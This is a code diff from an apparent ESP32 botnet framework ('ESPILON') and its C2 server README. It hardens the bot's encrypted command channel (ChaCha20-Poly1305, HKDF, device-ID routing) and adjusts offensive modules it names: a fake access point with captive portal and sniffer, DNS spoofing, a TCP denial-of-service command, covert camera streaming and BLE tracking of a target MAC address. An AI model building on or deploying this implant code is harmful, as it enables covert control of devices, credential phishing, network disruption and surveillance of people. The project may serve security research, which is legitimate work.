ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)",
|
||||||
|
(unsigned)in_len);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t ct_len = in_len - OVERHEAD;
|
||||||
|
if (out_cap < ct_len) {
|
||||||
|
ESP_LOGE(TAG, "crypto_decrypt: buffer too small");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const uint8_t *nonce = in;
|
||||||
|
const uint8_t *ct = in + NONCE_LEN;
|
||||||
|
const uint8_t *tag = in + NONCE_LEN + ct_len;
|
||||||
|
|
||||||
|
mbedtls_chachapoly_context ctx;
|
||||||
|
mbedtls_chachapoly_init(&ctx);
|
||||||
|
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||||
|
|
||||||
|
int ret = mbedtls_chachapoly_auth_decrypt(
|
||||||
|
&ctx,
|
||||||
|
ct_len,
|
||||||
nonce,
|
nonce,
|
||||||
counter,
|
NULL, 0, /* no AAD */
|
||||||
data_len,
|
tag,
|
||||||
data,
|
ct,
|
||||||
out
|
out
|
||||||
);
|
);
|
||||||
|
|
||||||
|
mbedtls_chachapoly_free(&ctx);
|
||||||
|
|
||||||
if (ret != 0) {
|
if (ret != 0) {
|
||||||
ESP_LOGE(TAG, "ChaCha20 failed (%d)", ret);
|
ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret);
|
||||||
free(out);
|
return -1;
|
||||||
return NULL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return out; /* binary-safe */
|
return (int)ct_len;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
@ -134,7 +273,6 @@ char *base64_decode(const char *input, size_t *output_len)
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Optional null terminator for debug */
|
|
||||||
out[*output_len] = '\0';
|
out[*output_len] = '\0';
|
||||||
return (char *)out;
|
return (char *)out;
|
||||||
}
|
}
|
||||||
@ -155,11 +293,10 @@ bool c2_decode_and_exec(const char *frame)
|
|||||||
memcpy(tmp, frame, n);
|
memcpy(tmp, frame, n);
|
||||||
tmp[n] = '\0';
|
tmp[n] = '\0';
|
||||||
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
|
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
|
||||||
tmp[n - 1] = '\0';
|
tmp[--n] = '\0';
|
||||||
n--;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ESP_LOGI(TAG, "C2 RX b64: %s", tmp);
|
ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n);
|
||||||
|
|
||||||
/* 1) Base64 decode */
|
/* 1) Base64 decode */
|
||||||
size_t decoded_len = 0;
|
size_t decoded_len = 0;
|
||||||
@ -170,27 +307,28 @@ bool c2_decode_and_exec(const char *frame)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 2) ChaCha decrypt */
|
/* 2) Decrypt + authenticate (AEAD) */
|
||||||
unsigned char *plain = chacha_cd((const unsigned char *)decoded, decoded_len);
|
uint8_t plain[1024];
|
||||||
|
int plain_len = crypto_decrypt(
|
||||||
|
(const uint8_t *)decoded, decoded_len,
|
||||||
|
plain, sizeof(plain)
|
||||||
|
);
|
||||||
free(decoded);
|
free(decoded);
|
||||||
|
|
||||||
if (!plain) {
|
if (plain_len < 0) {
|
||||||
ESP_LOGE(TAG, "ChaCha decrypt failed");
|
ESP_LOGE(TAG, "Decrypt/auth failed – tampered or wrong key");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 3) Protobuf decode -> c2_Command */
|
/* 3) Protobuf decode -> c2_Command */
|
||||||
c2_Command cmd = c2_Command_init_zero;
|
c2_Command cmd = c2_Command_init_zero;
|
||||||
pb_istream_t is = pb_istream_from_buffer(plain, decoded_len);
|
pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len);
|
||||||
|
|
||||||
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
|
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
|
||||||
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
|
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
|
||||||
free(plain);
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
free(plain);
|
|
||||||
|
|
||||||
/* 4) Log + dispatch */
|
/* 4) Log + dispatch */
|
||||||
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
||||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||||
|
|||||||
@ -8,12 +8,14 @@
|
|||||||
#include "pb_encode.h"
|
#include "pb_encode.h"
|
||||||
#include "c2.pb.h"
|
#include "c2.pb.h"
|
||||||
|
|
||||||
#include "utils.h" /* base64_encode, chacha_cd, CONFIG_DEVICE_ID */
|
#include "freertos/semphr.h"
|
||||||
|
#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */
|
||||||
|
|
||||||
#define TAG "AGENT_MSG"
|
#define TAG "AGENT_MSG"
|
||||||
#define MAX_PROTOBUF_SIZE 512
|
#define MAX_PROTOBUF_SIZE 512
|
||||||
|
|
||||||
extern int sock;
|
extern int sock;
|
||||||
|
extern SemaphoreHandle_t sock_mutex;
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* TCP helpers
|
* TCP helpers
|
||||||
@ -22,12 +24,19 @@ extern int sock;
|
|||||||
static bool tcp_send_all(const void *buf, size_t len)
|
static bool tcp_send_all(const void *buf, size_t len)
|
||||||
{
|
{
|
||||||
#ifdef CONFIG_NETWORK_WIFI
|
#ifdef CONFIG_NETWORK_WIFI
|
||||||
|
|
||||||
extern int sock;
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||||
|
int current_sock = sock;
|
||||||
|
xSemaphoreGive(sock_mutex);
|
||||||
|
|
||||||
|
if (current_sock < 0) {
|
||||||
|
ESP_LOGE(TAG, "socket not connected");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
const uint8_t *p = (const uint8_t *)buf;
|
const uint8_t *p = (const uint8_t *)buf;
|
||||||
while (len > 0) {
|
while (len > 0) {
|
||||||
int sent = lwip_write(sock, p, len);
|
int sent = lwip_write(current_sock, p, len);
|
||||||
if (sent <= 0) {
|
if (sent <= 0) {
|
||||||
ESP_LOGE(TAG, "lwip_write failed");
|
ESP_LOGE(TAG, "lwip_write failed");
|
||||||
return false;
|
return false;
|
||||||
@ -54,8 +63,11 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool ok = tcp_send_all(b64, strlen(b64)) &&
|
/* Prepend "device_id:" so the C2 can identify which key to use */
|
||||||
tcp_send_all("\n", 1);
|
bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
|
||||||
|
&& tcp_send_all(":", 1)
|
||||||
|
&& tcp_send_all(b64, strlen(b64))
|
||||||
|
&& tcp_send_all("\n", 1);
|
||||||
|
|
||||||
free(b64);
|
free(b64);
|
||||||
return ok;
|
return ok;
|
||||||
@ -67,10 +79,10 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
|
|||||||
|
|
||||||
static bool encode_encrypt_send(c2_AgentMessage *msg)
|
static bool encode_encrypt_send(c2_AgentMessage *msg)
|
||||||
{
|
{
|
||||||
uint8_t buffer[MAX_PROTOBUF_SIZE];
|
uint8_t pb_buf[MAX_PROTOBUF_SIZE];
|
||||||
|
|
||||||
pb_ostream_t stream =
|
pb_ostream_t stream =
|
||||||
pb_ostream_from_buffer(buffer, sizeof(buffer));
|
pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));
|
||||||
|
|
||||||
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
|
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
|
||||||
ESP_LOGE(TAG, "pb_encode failed: %s",
|
ESP_LOGE(TAG, "pb_encode failed: %s",
|
||||||
@ -80,16 +92,17 @@ static bool encode_encrypt_send(c2_AgentMessage *msg)
|
|||||||
|
|
||||||
size_t proto_len = stream.bytes_written;
|
size_t proto_len = stream.bytes_written;
|
||||||
|
|
||||||
uint8_t *cipher =
|
/* nonce[12] + ciphertext + tag[16] */
|
||||||
(uint8_t *)chacha_cd(buffer, proto_len);
|
uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];
|
||||||
if (!cipher) {
|
|
||||||
ESP_LOGE(TAG, "chacha_cd failed");
|
int enc_len = crypto_encrypt(pb_buf, proto_len,
|
||||||
|
enc_buf, sizeof(enc_buf));
|
||||||
|
if (enc_len < 0) {
|
||||||
|
ESP_LOGE(TAG, "crypto_encrypt failed");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool ok = send_base64_frame(cipher, proto_len);
|
return send_base64_frame(enc_buf, (size_t)enc_len);
|
||||||
free(cipher);
|
|
||||||
return ok;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
|
|||||||
@ -18,14 +18,15 @@ void process_command(const c2_Command *cmd)
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* -----------------------------------------------------
|
/* -----------------------------------------------------
|
||||||
* Device ID check
|
* Device ID check — allow broadcast (empty device_id)
|
||||||
* ----------------------------------------------------- */
|
* ----------------------------------------------------- */
|
||||||
//if (!device_id_matches(CONFIG_DEVICE_ID, cmd->device_id)) {
|
if (cmd->device_id[0] != '\0' &&
|
||||||
// ESP_LOGW(TAG,
|
strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) {
|
||||||
// "Command not for this device (target=%s)",
|
ESP_LOGW(TAG,
|
||||||
// cmd->device_id);
|
"Command not for this device (target=%s, self=%s)",
|
||||||
// return;
|
cmd->device_id, CONFIG_DEVICE_ID);
|
||||||
//}
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
/* -----------------------------------------------------
|
/* -----------------------------------------------------
|
||||||
* Basic validation
|
* Basic validation
|
||||||
|
|||||||
@ -64,14 +64,25 @@ extern int sock;
|
|||||||
bool com_init(void);
|
bool com_init(void);
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* CRYPTO API
|
* CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF)
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
|
|
||||||
|
/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */
|
||||||
|
bool crypto_init(void);
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* ChaCha20 encrypt/decrypt
|
* Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16]
|
||||||
* Retourne un buffer malloc()'d → free() obligatoire
|
* Returns total output length, or -1 on error.
|
||||||
*/
|
*/
|
||||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len);
|
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||||
|
uint8_t *out, size_t out_cap);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16]
|
||||||
|
* Returns plaintext length, or -1 on error / auth failure.
|
||||||
|
*/
|
||||||
|
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||||
|
uint8_t *out, size_t out_cap);
|
||||||
|
|
||||||
/* Base64 helpers */
|
/* Base64 helpers */
|
||||||
char *base64_decode(const char *input, size_t *output_len);
|
char *base64_decode(const char *input, size_t *output_len);
|
||||||
|
|||||||
@ -268,14 +268,14 @@ static int cmd_fakeap_sniffer_off(
|
|||||||
* REGISTER COMMANDS
|
* REGISTER COMMANDS
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static const command_t fakeap_cmds[] = {
|
static const command_t fakeap_cmds[] = {
|
||||||
{ "fakeap_start", 1, 3, cmd_fakeap_start, NULL, false },
|
{ "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false },
|
||||||
{ "fakeap_stop", 0, 0, cmd_fakeap_stop, NULL, false },
|
{ "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false },
|
||||||
{ "fakeap_status", 0, 0, cmd_fakeap_status, NULL, false },
|
{ "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false },
|
||||||
{ "fakeap_clients", 0, 0, cmd_fakeap_clients, NULL, false },
|
{ "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false },
|
||||||
{ "fakeap_portal_start", 0, 0, cmd_fakeap_portal_start, NULL, false },
|
{ "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false },
|
||||||
{ "fakeap_portal_stop", 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
{ "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
||||||
{ "fakeap_sniffer_on", 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
{ "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
||||||
{ "fakeap_sniffer_off", 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
{ "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
||||||
};
|
};
|
||||||
|
|
||||||
void mod_fakeap_register_commands(void)
|
void mod_fakeap_register_commands(void)
|
||||||
|
|||||||
@ -300,7 +300,15 @@ static void send_dns_spoof(
|
|||||||
int req_len,
|
int req_len,
|
||||||
uint32_t ip
|
uint32_t ip
|
||||||
) {
|
) {
|
||||||
uint8_t resp[512];
|
/* DNS answer appends 16 bytes after the request */
|
||||||
|
#define DNS_ANSWER_SIZE 16
|
||||||
|
uint8_t resp[512 + DNS_ANSWER_SIZE];
|
||||||
|
|
||||||
|
if (req_len <= 0 || req_len > 512) {
|
||||||
|
ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
memcpy(resp, req, req_len);
|
memcpy(resp, req, req_len);
|
||||||
|
|
||||||
resp[2] |= 0x80; // QR = response
|
resp[2] |= 0x80; // QR = response
|
||||||
|
|||||||
@ -150,11 +150,11 @@
|
|||||||
* REGISTER COMMANDS
|
* REGISTER COMMANDS
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static const command_t network_cmds[] = {
|
static const command_t network_cmds[] = {
|
||||||
{ "ping", 1, 8, cmd_ping, NULL, true },
|
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
|
||||||
{ "arp_scan", 0, 0, cmd_arp_scan, NULL, true },
|
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
|
||||||
{ "proxy_start", 2, 2, cmd_proxy_start, NULL, true },
|
{ "proxy_start", NULL, NULL, 2, 2, cmd_proxy_start, NULL, true },
|
||||||
{ "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false },
|
{ "proxy_stop", NULL, NULL, 0, 0, cmd_proxy_stop, NULL, false },
|
||||||
{ "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true }
|
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true }
|
||||||
};
|
};
|
||||||
|
|
||||||
void mod_network_register_commands(void)
|
void mod_network_register_commands(void)
|
||||||
|
|||||||
@ -53,8 +53,8 @@ static bool camera_initialized = false;
|
|||||||
static int udp_sock = -1;
|
static int udp_sock = -1;
|
||||||
static struct sockaddr_in dest_addr;
|
static struct sockaddr_in dest_addr;
|
||||||
|
|
||||||
/* ⚠️ à passer en Kconfig plus tard */
|
/* Camera UDP authentication token (from Kconfig) */
|
||||||
static const char *token = "Sup3rS3cretT0k3n";
|
static const char *token = CONFIG_CAMERA_UDP_TOKEN;
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* CAMERA INIT
|
* CAMERA INIT
|
||||||
|
|||||||
@ -184,24 +184,25 @@ static void ble_init(void)
|
|||||||
/* ============================================================
|
/* ============================================================
|
||||||
* COMMANDS
|
* COMMANDS
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
|
static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx)
|
||||||
{
|
{
|
||||||
if (argc != 4)
|
if (argc != 4)
|
||||||
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", NULL);
|
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", request_id);
|
||||||
|
|
||||||
if (trilat_running)
|
if (trilat_running)
|
||||||
return msg_error(TAG, "already running", NULL);
|
return msg_error(TAG, "already running", request_id);
|
||||||
|
|
||||||
ESP_ERROR_CHECK(nvs_flash_init());
|
ESP_ERROR_CHECK(nvs_flash_init());
|
||||||
|
|
||||||
if (!parse_mac_str(argv[1], target_mac))
|
if (!parse_mac_str(argv[1], target_mac))
|
||||||
return msg_error(TAG, "invalid MAC", NULL);
|
return msg_error(TAG, "invalid MAC", request_id);
|
||||||
|
|
||||||
strncpy(target_url, argv[2], MAX_LEN-1);
|
strncpy(target_url, argv[2], MAX_LEN-1);
|
||||||
strncpy(auth_bearer, argv[3], MAX_LEN-1);
|
strncpy(auth_bearer, argv[3], MAX_LEN-1);
|
||||||
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
|
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
|
||||||
|
|
||||||
buffer_mutex = xSemaphoreCreateMutex();
|
if (!buffer_mutex)
|
||||||
|
buffer_mutex = xSemaphoreCreateMutex();
|
||||||
data_buffer[0] = 0;
|
data_buffer[0] = 0;
|
||||||
buffer_len = 0;
|
buffer_len = 0;
|
||||||
|
|
||||||
@ -211,19 +212,19 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
|
|||||||
trilat_running = true;
|
trilat_running = true;
|
||||||
xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle);
|
xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle);
|
||||||
|
|
||||||
msg_info(TAG, "trilat started", NULL);
|
msg_info(TAG, "trilat started", request_id);
|
||||||
return ESP_OK;
|
return ESP_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
static esp_err_t cmd_trilat_stop(int argc, char **argv, void *ctx)
|
static esp_err_t cmd_trilat_stop(int argc, char **argv, const char *request_id, void *ctx)
|
||||||
{
|
{
|
||||||
if (!trilat_running)
|
if (!trilat_running)
|
||||||
return msg_error(TAG, "not running", NULL);
|
return msg_error(TAG, "not running", request_id);
|
||||||
|
|
||||||
trilat_running = false;
|
trilat_running = false;
|
||||||
esp_ble_gap_stop_scanning();
|
esp_ble_gap_stop_scanning();
|
||||||
|
|
||||||
msg_info(TAG, "trilat stopped", NULL);
|
msg_info(TAG, "trilat stopped", request_id);
|
||||||
return ESP_OK;
|
return ESP_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -162,10 +162,10 @@ static int cmd_system_info(
|
|||||||
* COMMAND REGISTRATION
|
* COMMAND REGISTRATION
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static const command_t system_cmds[] = {
|
static const command_t system_cmds[] = {
|
||||||
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
{ "system_reboot", NULL, NULL, 0, 0, cmd_system_reboot, NULL, false },
|
||||||
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
{ "system_mem", NULL, NULL, 0, 0, cmd_system_mem, NULL, false },
|
||||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
|
{ "system_uptime", NULL, NULL, 0, 0, cmd_system_uptime, NULL, false },
|
||||||
{ "system_info", 0, 0, cmd_system_info, NULL, false }
|
{ "system_info", NULL, NULL, 0, 0, cmd_system_info, NULL, false }
|
||||||
};
|
};
|
||||||
|
|
||||||
void mod_system_register_commands(void)
|
void mod_system_register_commands(void)
|
||||||
|
|||||||
@ -102,6 +102,14 @@ config RECON_MODE_CAMERA
|
|||||||
bool "Enable Camera Reconnaissance"
|
bool "Enable Camera Reconnaissance"
|
||||||
default n
|
default n
|
||||||
|
|
||||||
|
config CAMERA_UDP_TOKEN
|
||||||
|
string "Camera UDP Token"
|
||||||
|
default "Sup3rS3cretT0k3n"
|
||||||
|
depends on RECON_MODE_CAMERA
|
||||||
|
help
|
||||||
|
Secret token prepended to camera UDP packets.
|
||||||
|
Must match CAMERA_SECRET_TOKEN on the C2 server.
|
||||||
|
|
||||||
config RECON_MODE_MLAT
|
config RECON_MODE_MLAT
|
||||||
bool "Enable MLAT (Multilateration) Module"
|
bool "Enable MLAT (Multilateration) Module"
|
||||||
default n
|
default n
|
||||||
@ -116,13 +124,17 @@ endmenu
|
|||||||
################################################
|
################################################
|
||||||
menu "Security"
|
menu "Security"
|
||||||
|
|
||||||
config CRYPTO_KEY
|
config CRYPTO_FCTRY_NS
|
||||||
string "ChaCha20 Key (32 bytes)"
|
string "Factory NVS namespace for crypto"
|
||||||
default "testde32chars0000000000000000000"
|
default "crypto"
|
||||||
|
help
|
||||||
|
NVS namespace in the factory partition where the master key is stored.
|
||||||
|
|
||||||
config CRYPTO_NONCE
|
config CRYPTO_FCTRY_KEY
|
||||||
string "ChaCha20 Nonce (12 bytes)"
|
string "Factory NVS key name for master key"
|
||||||
default "noncenonceno"
|
default "master_key"
|
||||||
|
help
|
||||||
|
NVS key name for the 32-byte master key blob in the factory partition.
|
||||||
|
|
||||||
endmenu
|
endmenu
|
||||||
|
|
||||||
|
|||||||
@ -70,6 +70,12 @@ void app_main(void)
|
|||||||
|
|
||||||
init_nvs();
|
init_nvs();
|
||||||
|
|
||||||
|
/* Crypto: read master key from factory NVS, derive encryption key */
|
||||||
|
if (!crypto_init()) {
|
||||||
|
ESP_LOGE(TAG, "CRYPTO INIT FAILED – no master key in factory NVS?");
|
||||||
|
esp_restart();
|
||||||
|
}
|
||||||
|
|
||||||
/* =====================================================
|
/* =====================================================
|
||||||
* Command system
|
* Command system
|
||||||
* ===================================================== */
|
* ===================================================== */
|
||||||
|
|||||||
6
espilon_bot/partitions.csv
Normal file
6
espilon_bot/partitions.csv
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
# Epsilon Bot - Custom Partition Table
|
||||||
|
# Name, Type, SubType, Offset, Size, Flags
|
||||||
|
nvs, data, nvs, 0x9000, 0x6000,
|
||||||
|
phy_init, data, phy, 0xf000, 0x1000,
|
||||||
|
fctry, data, nvs, 0x10000, 0x6000,
|
||||||
|
factory, app, factory, 0x20000, 0x1E0000,
|
||||||
|
27
espilon_bot/sdkconfig.defaults
Normal file
27
espilon_bot/sdkconfig.defaults
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
# Espilon Bot - sdkconfig defaults
|
||||||
|
# Device
|
||||||
|
CONFIG_DEVICE_ID="espilon-demo"
|
||||||
|
|
||||||
|
# Network
|
||||||
|
CONFIG_WIFI_SSID="mywifi"
|
||||||
|
CONFIG_WIFI_PASS=""
|
||||||
|
CONFIG_SERVER_IP="192.168.1.100"
|
||||||
|
CONFIG_SERVER_PORT=2626
|
||||||
|
|
||||||
|
# Crypto (factory NVS)
|
||||||
|
CONFIG_CRYPTO_FCTRY_NS="crypto"
|
||||||
|
CONFIG_CRYPTO_FCTRY_KEY="master_key"
|
||||||
|
|
||||||
|
# mbedTLS - ChaCha20-Poly1305 + HKDF
|
||||||
|
CONFIG_MBEDTLS_CHACHA20_C=y
|
||||||
|
CONFIG_MBEDTLS_POLY1305_C=y
|
||||||
|
CONFIG_MBEDTLS_CHACHAPOLY_C=y
|
||||||
|
CONFIG_MBEDTLS_HKDF_C=y
|
||||||
|
|
||||||
|
# Partition table
|
||||||
|
CONFIG_PARTITION_TABLE_CUSTOM=y
|
||||||
|
CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
CONFIG_ESPILON_LOG_LEVEL_INFO=y
|
||||||
|
CONFIG_ESPILON_LOG_BOOT_SUMMARY=y
|
||||||
@ -45,3 +45,9 @@ VIDEO_ENABLED=true
|
|||||||
VIDEO_PATH=static/streams/record.avi
|
VIDEO_PATH=static/streams/record.avi
|
||||||
VIDEO_FPS=10
|
VIDEO_FPS=10
|
||||||
VIDEO_CODEC=MJPG
|
VIDEO_CODEC=MJPG
|
||||||
|
|
||||||
|
# ===================
|
||||||
|
# Honeypot Dashboard (optional plugin)
|
||||||
|
# ===================
|
||||||
|
# Path to espilon-honey-pot/tools/ directory
|
||||||
|
# HP_DASHBOARD_PATH=/path/to/espilon-honey-pot/tools
|
||||||
372
tools/C3PO/README.md
Normal file
372
tools/C3PO/README.md
Normal file
@ -0,0 +1,372 @@
|
|||||||
|
# C3PO (C2) - Full Documentation
|
||||||
|
|
||||||
|
C3PO is the Command & Control (C2) server for ESPILON agents. It manages device connections, command dispatch, device state tracking, and provides a CLI, a multi-device TUI (Textual), a web dashboard, and a UDP camera receiver with recording.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Main features:
|
||||||
|
- TCP server for ESP agents (Base64 + ChaCha20-Poly1305 AEAD + Protobuf)
|
||||||
|
- Device registry and group management
|
||||||
|
- Interactive CLI + multi-device TUI
|
||||||
|
- Web dashboard (Flask) with Dashboard, Cameras, and MLAT pages
|
||||||
|
- UDP camera receiver with recording
|
||||||
|
- MLAT (multilateration) engine for RSSI-based positioning
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- Python 3.10+ (tested with 3.11)
|
||||||
|
- pip (package manager)
|
||||||
|
- Virtual environment (recommended)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
### 1. Créer un environnement virtuel
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd tools/c2
|
||||||
|
python3 -m venv .venv
|
||||||
|
```
|
||||||
|
|
||||||
|
Ceci crée un dossier `.venv/` isolé pour les dépendances Python.
|
||||||
|
|
||||||
|
### 2. Activer l'environnement
|
||||||
|
|
||||||
|
**Linux / macOS :**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
source .venv/bin/activate
|
||||||
|
```
|
||||||
|
|
||||||
|
**Windows (PowerShell) :**
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\.venv\Scripts\Activate.ps1
|
||||||
|
```
|
||||||
|
|
||||||
|
**Windows (CMD) :**
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
.\.venv\Scripts\activate.bat
|
||||||
|
```
|
||||||
|
|
||||||
|
Le prompt devrait afficher `(.venv)` pour confirmer l'activation.
|
||||||
|
|
||||||
|
### 3. Installer les dépendances
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Ceci installe toutes les dépendances nécessaires :
|
||||||
|
|
||||||
|
| Package | Version | Usage |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| `pycryptodome` | >=3.15.0 | ChaCha20-Poly1305 AEAD + HKDF key derivation |
|
||||||
|
| `protobuf` | >=4.21.0 | Sérialisation Protocol Buffers |
|
||||||
|
| `flask` | >=2.0.0 | Serveur web (dashboard, API) |
|
||||||
|
| `python-dotenv` | >=1.0.0 | Chargement config `.env` |
|
||||||
|
| `textual` | >=0.40.0 | Interface TUI multi-pane |
|
||||||
|
| `opencv-python` | >=4.8.0 | Traitement vidéo/images caméra |
|
||||||
|
| `numpy` | >=1.24.0 | Calculs matriciels (opencv, scipy) |
|
||||||
|
| `scipy` | >=1.10.0 | Algorithme MLAT (optimisation) |
|
||||||
|
|
||||||
|
### 4. Vérifier l'installation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python -c "from web.server import UnifiedWebServer; print('OK')"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Désactiver l'environnement
|
||||||
|
|
||||||
|
```bash
|
||||||
|
deactivate
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
### C2 (TCP)
|
||||||
|
|
||||||
|
The core C2 server uses constants defined in `utils/constant.py`:
|
||||||
|
- `HOST` (default `0.0.0.0`)
|
||||||
|
- `PORT` (default `2626`)
|
||||||
|
|
||||||
|
### Web + Camera + MLAT
|
||||||
|
|
||||||
|
Copy `.env.example` to `.env` and adjust as needed:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cp .env.example .env
|
||||||
|
```
|
||||||
|
|
||||||
|
Key variables:
|
||||||
|
- `WEB_HOST`, `WEB_PORT` (dashboard web server, default `0.0.0.0:8000`)
|
||||||
|
- `UDP_HOST`, `UDP_PORT` (camera UDP, default `0.0.0.0:5000`)
|
||||||
|
- `CAMERA_SECRET_TOKEN` (must match firmware)
|
||||||
|
- `WEB_USERNAME`, `WEB_PASSWORD` (dashboard login)
|
||||||
|
- `FLASK_SECRET_KEY` (sessions)
|
||||||
|
- `MULTILAT_AUTH_TOKEN` (Bearer token for MLAT API)
|
||||||
|
- `IMAGE_DIR` (JPEG frames)
|
||||||
|
- `VIDEO_ENABLED`, `VIDEO_PATH`, `VIDEO_FPS`, `VIDEO_CODEC`
|
||||||
|
|
